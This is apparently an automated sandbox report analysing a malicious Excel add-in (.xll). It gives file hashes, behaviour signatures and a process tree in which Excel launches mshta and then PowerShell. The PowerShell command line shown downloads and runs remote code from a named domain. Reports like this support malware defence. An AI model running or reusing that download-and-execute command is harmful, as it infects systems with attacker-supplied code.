Analysis
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max time kernel
148s -
max time network
159s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/05/2024, 18:13
Static task
static1
Behavioral task
behavioral1
Sample
a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll
Resource
win11-20240508-en
General
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Target
a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll
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Size
12KB
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MD5
a3c93d730f69e010971752e8a92e8f6d
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SHA1
0803fed0b9ef059ba19e5ea489542c88eed1112f
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SHA256
a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219
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SHA512
eae2f27d9446451b17f7f89312ff2aa958a11298273437cee2f3cbb1d4db182743e7d8151097b0f7a73fd2aedd936e47df41372d731733ee7207a6587eac16c5
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SSDEEP
192:QL29RBzDzeobchBj8JON4ON8UrumrEPEjr7Ahz:+29jnbcvYJO5fumvr7Cz
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2768 2880 mshta.exe 77 -
Blocklisted process makes network request 1 IoCs
flow pid Process 16 1908 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 2880 EXCEL.EXE 2880 EXCEL.EXE -
pid Process 1908 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2880 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1908 powershell.exe 1908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1908 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2880 EXCEL.EXE 2880 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2880 wrote to memory of 2768 2880 EXCEL.EXE 79 PID 2880 wrote to memory of 2768 2880 EXCEL.EXE 79 PID 2880 wrote to memory of 2768 2880 EXCEL.EXE 79 PID 2768 wrote to memory of 1908 2768 mshta.exe 80 PID 2768 wrote to memory of 1908 2768 mshta.exe 80 PID 2768 wrote to memory of 1908 2768 mshta.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll
Filesize12KB
MD5a3c93d730f69e010971752e8a92e8f6d
SHA10803fed0b9ef059ba19e5ea489542c88eed1112f
SHA256a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219
SHA512eae2f27d9446451b17f7f89312ff2aa958a11298273437cee2f3cbb1d4db182743e7d8151097b0f7a73fd2aedd936e47df41372d731733ee7207a6587eac16c5